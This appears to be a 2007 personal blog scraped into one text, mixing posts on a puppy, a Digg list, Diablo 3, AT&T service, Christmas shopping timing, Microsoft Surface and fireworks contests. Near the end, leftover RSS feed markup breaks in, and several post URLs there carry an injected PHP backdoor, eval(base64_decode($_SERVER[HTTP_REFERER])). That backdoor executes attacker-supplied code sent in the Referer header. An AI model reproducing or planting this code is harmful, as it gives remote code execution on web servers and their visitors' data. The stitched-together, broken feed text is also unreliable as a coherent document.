My wife was cleaning up after dinner one night when we caught our puppy Jack helping out in our dishwasher. He just loved licking everything clean especially that soup ladle. Check out the funny video below.

If you want to add this awesome arsenal to your fireworks celebration you can find it at The Spirit of ‘76 Wholesale Fireworks website.

1. Scientology: 4th Of July- How Crazy Are They? 2394 diggs
2. Your Odds of Dying (Pic) 2095 diggs
3. If you live in Ohio - you can’t be arrested today (4th July) 2081 diggs
4. [pic] Gorgeous Water Droplets Reflecting the American Flag 1744 diggs
5. This Ought to Make For an Awkward 4th of July BBQ 1481 diggs
6. Conversation With Digg’s CEO Jay Adelson About v3.0 Overwhelming Success 1227 diggs
7. July 4th, 1986 [PIC] 1221 diggs
8. Five things you didn’t know about the upcoming Transformers movie 1001 diggs
9. The Pirate Party of the United States site launches 986 diggs
10. Xbox 360 Premium Found with HDMI Port 959 diggs
11. How to make a Coke Rocket - Finally revealed! (video) 935 diggs
12. Discovery finally launches! 893 diggs
13. Remembering the 12 year fight for the Freedom of Information Act 874 diggs
14. No July 4th Celebrations for Highly Skilled Future Americans 822 diggs
15. Open a beer bottle with another bottle 811 diggs

My favorite is the [pic] of the US Flag reflecting in the water droplets.

Happy 4th of July Everyone!

Cinematic Trailer High Quality:

Game Play Video:

Download hi-res videos from here: Diablo 3 Media

You can keep up to date on the new features in Diablo 3 by visiting the Official Website. Read Deckard Cain’s Journal which covers the story line from Diablo 1 & 2 and includes videos from the previous games. Learn about the World of Sanctuary and the new character classes like the Witch Doctor. And much much more…

Diablo 2 is one of my all time favorite PC based games. My son loves to play the game with me and his friends. I own both Diablo 1 and 2 and I can’t wait for Diablo III.

About 6 months ago I switched back to AT&T because I wanted the AT&T Tilt phone and I also received a discount from my work, which lowered my monthly phone bill about $30 compared to Verizon Wireless. Of course I was very concerned about the customer service, but from the very first day when I purchased my new AT&T Tilt phone I received nothing but outstanding customer service. My new phone was activated in 5 minutes and another 5 minutes later I was synchronized with my works exchange server. I had all my contacts, emails, and calendar appointments available on my phone 10 minutes after purchasing it. Kudos to Mikey, the AT&T rep that helped me out.

Fast forward a couple of months. I was leaving the states to go to Mexico for a week and wanted my phone setup for international roaming. So I called AT&T customer service and asked to have my phone activated to work in Mexico. The rep had me setup in under 5 minutes. Wow. I couldn’t believe how quick and friendly customer service was. Unfortunately, when I got back from Mexico and recieved my phone bill I noticed the charges were way too high. ‘Here we go’, I thought. I just knew that when I called customer service I was going to get a hard time.

Once again, I called the customer service number and quickly reached an operator after pressing 0 twice to get through the automated system. I explained the situation and the AT&T rep immediately apologized and said that they made the mistake when they setup the account for international roaming. I should have received the discounted rates instead of being charged the full rate. She credited my account for the difference and asked if there was anything else she could do. Nope. I was once again extremely pleased with the quick and friendly service.

Two months later my bill comes in and again I see additional roaming charges from my Mexico trip for $12.30 on my bill. I called customer service and once again explained my situation. The rep told me that the charges were posted to my account very late from the carrier in Mexico. As soon as I mentioned that I had a similar problem 2 months earlier he quickly stated that it was not a problem and that he would correct the charges. A minute later he credited my account $20 for all my troubles. THAT IS CUSTOMER SERVICE!!! I never complained and never expected anything like that. I was thoroughly surprised. Good Job AT&T. I hope you keep up the GREAT customer service. Thank You.

Note: There is a poll embedded within this post, please visit the site to participate in this post's poll.

ATT Wireless Customer Service: 1-800-331-0500

When is the Best Time to Start Planning your Christmas Shopping?

You should start planning your Christmas Shopping List at the beginning of the year. Create a list of people that you will get gifts for. Identify their interests, hobbies, wants, and needs and set a goal for how much to spend for each person. Starting this list early gives you a chance to refine it throughout the year. As you shop throughout the year note the price of gifts and compare them at other stores. Resist the urge to buy any gifts early even if you think it will be the best deal of the year. As you get closer to Christmas you may find that the gift you bought early is not the right gift for that person anymore. Also, buying gifts early may waste the warranty that comes with the gift. You should also start a gift fund at the beginning of the year by saving a few bucks a week to put towards your gift purchases. You’ll be amazed at how much money you end up with by the Christmas Season. Keep updating your list and refining your notes all the way up until its time to actually start making those gift purchases.

When is the Best Time to Actually Start Buying Christmas Gifts?

I recommend at 90 days before Christmas (around September 25th) you should begin making your gift purchases. However, before making any purchases examine the store policies on returns and make sure you leave enough time from when you purchased the gift to a few days after Christmas in order to accommodate returns. Many stores have a 90 day return policy which is why I recommend starting no sooner than 90 days from Christmas. As mentioned above this will also leave more time on the warranty in case there is any defect with the gift. In addition to starting within 90 days of Christmas you should leave some of your budget for the great deals the Day After Thanksgiving. Get a head start on those deals by visiting Black Friday Ad sites such as http://www.bfads.net or http://www.blackfriday.info Many of these sites begin posting ads in October for the Black Friday specials. The other reason to wait for the 90 day mark is to allow companies to introduce new products in time for Christmas. You don’t want to regret purchasing something early because a newer version or better gift came out later. The last bit of advice I can give you is to wrap up your Christmas purchases no later than the second week in December, the 13th is a good deadline. No matter what, don’t wait until the last week before Christmas. You will be desperate and limited in what is available to purchase. So remember, start buying no earlier than 90 days before Christmas and finish no later than 12 days (December 13) before Christmas. If you follow my advice you can enjoy the 12 days leading up to Christmas knowing that all of your shopping is done and done right!

My Top Ten 2007 Christmas Holiday Gift Ideas (as of June 7th, 2007)

1. Apple iPhone
2. Apple TV
3. Apple iPod
4. Tivo or other Digital Video Recorder (DVR)
5. SlingMedia’s SlingBox
6. Sony PlayStation3
7. Nintendo Wii
8. Plasma TV
9. Games: StarCraft 2
10. Microsoft Surface Computer (if you have the money - see my post on this cool technology)

Other Christmas Shopping Articles for 2007:

• 6 Great Online Christmas Shopping Tips
• Anyone Start Christmas Shopping Yet - DIS Discussion Forums
• It Is Not Too Early to Start Planning Your Christmas Shopping
• Time to Start Christmas Shopping for Next Year?

What are your shopping strategies? Leave a comment and let me know what you think of my advice.

Read on to see more videos  and how this amazing new technology will start to change our lives today…

How will a multitouch screen change our lives?

Well, you begin to handle computer images or information just like you would its real life counterpart. You drag a photo across the screen and with two fingers you can rotate, stretch, shrink, or even flip the photo over and write on the back. Now imagine this surface on a tabletop and could detect what objects were sitting on it. It would recognize a phone, pda, credit card, camera, even a glass of water sitting on it. There would be no need for a separate keyboard. Just tap the screen and a virtual keyboard pops up and can be resized to fit your hands. It becomes more than just a multitouch device, it becomes a multi user device. The whole family could sit around the table and play a virtual game of monopoly just like the real board game or obviously an enhanced version with real streets, properties, hotels, railroads, you get the idea. How cool would that be?

Lets explore more situations where this technology will change the way we interact with one another and use computers:

The Family Game Night

I eluded to this situation earlier but lets expand on it here. It’s family night and everyone wants to play the popular board game monopoly. But instead of pulling the box out of the closet and going through the setup steps like counting up and passing out the money you sit down at the surface computer and tap on games and then tap on Monopoly. Instantly the game board loads with everyone sitting around the table. You choose the number of players by dragging the player pieces in front of you and instantly you have your monopoly money appear also. Now, you can play with real dice or digital dice, thats up to you. The first person shakes the dice on the screen and you drag your piece across the board that number of spaces. Again the screen instantly expands to show life like details of the property. Do you buy or pass? That could depend on the condition of the property. How about when you purchase or land on a hotel you instantly get a 3D view of the building inside and out. The more you pay for the hotel the nicer it looks and the more rent it will be too. I can’t wait to play monopoly like that.

Here are some other games I would love to see enhanced for the surface computer: Almost every board game: Risk, Stratego, LIFE, Scrabble, Chutes & Ladders, Chess, Checkers, and Pictionary just to name a few; Battleship, Mastermind, Jigsaw puzzles (made from any photo or video), Connect Four, and I could go on and on… Don’t forget that all of these multiplayer games will be able to play over the Internet as well. So even when the family is not physically together you can still get together on a couple of surface computers and enjoy Family Night. What other games would you like to see?

The Sales Pitch

Two business men or women get together over lunch to discuss a new business opportunity. They sit down at a “surface” computer and place their phones on the table and immediately the table displays each business card on the screen. A simple swipe of the hand and the cards are swapped between each of the phones. Next, the salesman pulls up an interactive presentation from his phone and rotates the presentation to face the other person. The presentation has sketches, videos, and even a demonstration of this new product that the salesman is selling. The buyer is hooked and wants to buy. The salesman brings up an order form and quickly fills it out. The buyer zooms into the signature line and signs his name to seal the deal. A copy of the form is quickly made and transfered to both phones to upload back to the office.

The Song Swapper

Two teenagers place their ipods on the “surface” computer and immediately the song list from both ipods show up on the screen. Each of them scans the other’s song list with album cover’s displayed of course. I tap of a song lets them sample the song. And finally they simply drag the songs they want to their own ipod. Voila, they just swapped music with each other effortlessly.

The Gamblers Night Out

Instead of a video poker machine in a casino imagine sitting down at a surface computer. Place your casino card on the table and the games begin. You could have several games playing at the same time and manipulate the screen to zoom in and out of each of the games. Play multiple Texas Hold’em matches on a sinlge surface computer simultaneously while choosing songs from a jukebox, or ordering drinks from the side of the screen. The playing cards on the screen are moved around like real cards. Need to place bets for the horse races and then watch the race? Just drag the teller window into view to place your bets and then drag the TV view next to where ever is best on your screen. Here are some other casino games you could load up: roulette wheel, craps, blackjack, bingo, kino, and many more.

The Photo or Video Collection

You set your camera phone on a surface computer and all of your digital images are displayed immediately. You drag and rotate the photos or videos to view and sort the ones you like. You can edit the photos by cropping, adding text, cleaning up the images, and in many other ways. When your done you can drag them into albums or print individual photos by dragging them onto a printer on the screen and in no time you have a hard copy of the photo. Don’t forget to drag that updated album back onto your phone before you leave. And if you want to share those photos or videos with anyone all they have to do is set their pda, camera, or phone on the table.

The Concierge

In a hotel you will no longer need to check in at a counter. You could do it at a surface computer. Looking to do something while you’re in town? Bring up the directory with a list of attractions and events in the area. Order show tickets or movie tickets and drag the electronic receipt onto your phone. Need directions to the show? Bring up the map, zoom in or out to get the view you need and then just tap to where you are and where you need to go and the directions will be printed on the screen for you. Now just drag the directions onto your phone and you are ready to go with tickets and directions in hand, I mean… in phone.

It’s time to look below the “Surface”:

Popular Mechanics review of Microsoft Surface Computing.
An in depth look at whats below the Surface. (May 30, 2007)

Are you ready for this technology? Because it’s already here!

Microsoft Announces “Surface” Computing for around $10,000!

Microsoft just announced this past Wednesday (May 30, 2007) there version of multitouch technology and they call it Surface Computing. These computing surfaces will start popping up in restaurants, hotels, casinos, stores, lobbies, and other commercial venues THIS YEAR! Eventually it will become affordable enough to buy for your home. I would love to have one of these in my family room! But I will have to wait for the $10,000 price tag to come down a little first.
For more information on Microsoft Surface Computing visit http://www.microsoft.com/surface.

Here are more videos of the MultiTouch Technology: (The last three videos are from Jeff Han, one of the main developers of the “interface-free” touch-driven computer screen.)

Here are some other sites that are also writing about Multitouch Technology or Microsoft’s announcement on Surface Computing:

• John Chow Dot Com
• Not Just Another Blog by Pallab
• Changing Interaction - Surface Computing and the Future at Metue
• 5 reasons why Microsoft Computing will Change the Face of Computing
• Can’t Touch This, Fast Company, February 2007, Great article about Jeff Han and Multitouch Technology
• First Look by Larry Larson

What other scenarios can you think of for this technology?

God Bless the U.S.A. by Lee Greenwood

]]> http://leonmink.com/blog/2007/05/28/happy-memorial-day-god-bless-the-usa/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/ http://leonmink.com/blog/2007/05/27/win-money-enter-fireworks-photo-video-drawing-contests-for-2007/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/ http://leonmink.com/blog/2007/05/27/win-money-enter-fireworks-photo-video-drawing-contests-for-2007/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments Sun, 27 May 2007 17:45:13 +0000 Leon http://leonmink.com/blog/index.php/2007/05/27/win-money-enter-fireworks-photo-video-drawing-contests-for-2007/ Everyone takes 4th of July Fireworks photos. Many even video tape the celebrations. Why not submit those videos or photos to try and win some serious cash. Here is a list of sites that are participating in Fireworks Contests this year 2007:

Contests:

• TNTFireworks.com (Neptune Fireworks) with thousands of dollars to give away
  • Photo Contest - Earn up to $500 for the Grand Prize
  • Drawing Contest - Earn up to $500 for the Grand Prize
• Fireworks.com (Phantom Fireworks)
  • Name the Fireworks Giveaway
  • Fireworks Photograph Contest
  • Shoot your favorite Fireworks Video Giveaway
• SkyKingFireworks.com (no contests right now, but keep checking)

How to Articles - Tips & Tricks to help you Win that Contest

• How to Photograph Fireworks by Darren Rowse at Digital Photography School (see Video Tutorial Also)
• Digital Fireworks Photography Help and Tips
• 11 Tips for Sparkling Fireworks Photos
• How to Photograph Fireworks at Photocritic.org
• New York Institute of Photography
  • Fireworks Photography
  • How to Photograph Fireworks
  • Shooting Fireworks with a Digital Camera
• How to Take the Best Fireworks Video — Ever!

Leave a link to your favorite fireworks photo in the comments.
If you know of any other contests going on this year, let me know in the comments and I will add them to the list.

Where to get your Free Fireworks:

• TNT-Neptune Fireworks Store Location Map
• Phantom Fireworks Store Location Map
• Sky King Fireworks Store Locations - Florida’s Premier Fireworks Chain

My Favorite Fireworks:

• Mortars (I love mortars): T-6, 6 break reloadable artillery shells; 42-Magnum, 8 single, 8 double, & 6 triple break reloadable shells
• Grand Finale: Noble Eagle, Mission Ignition, Pride of America
• One Shot Aerial Tubes (500g): Palm Tree with Silvery Tail - Most powerful palm tree break - Very Beautiful
• Day Time Items: Parachutes (My kids love these) - Great for Memorial Day; Normandy Paratroopers (37 shots of parachute with spinners and crackles!)
• Spinners (Wheels): We love to nail several spinners to a 2×4 and stick it in the ground; (Phantom Fireworks has a 13″ spinner that is also great!)

Here are some ideas to Create a Perfect Fireworks Show:

• SAFETY is always FIRST!!! Do not endanger yourself or anyone else. Make sure only one person is lighting fireworks at a time during the show!
• Create a shooting order for your show and keep the show going at a good pace
• Use two people designated as shooters and one person designated as prep
• Light your Fireworks to Music - This will make a “good” show GREAT!, and help keep the show moving at a good pace
• Use extra long wicks or even better - electronic fuses to help automate and synchronize the lighting of your fireworks. Sold at Phantom Fireworks (F5 Pyro Ignitor)
• Shoot off your fireworks from a sheet of fire treated plywood (prevents burn marks on your street or wherever you light them)
• Keep the audience a safe distance away and upwind if possible (no one wants smoke in their eyes)
• Keep your most extravagant firework for after the Grand Finale. Light it while everyone is cheering and not expecting it.
• FOOD IDEA: If you have a grill, throw some fresh ears of corn with husks (unopened) onto the grill at med-hot heat for about 15 to 30 minutes. Be careful, they will be very hot. Peel and add butter, salt, and pepper. The smell of the corn on the grill will attract all of your neighbors! I love doing this during the Fireworks Show.

For other firework tips and show ideas visit the TNTFireworks Show Page.

Have a Safe and Happy Independence Day!

What are some of your Home Fireworks Show ideas? What are your favorite fireworks? Share them in the comments below.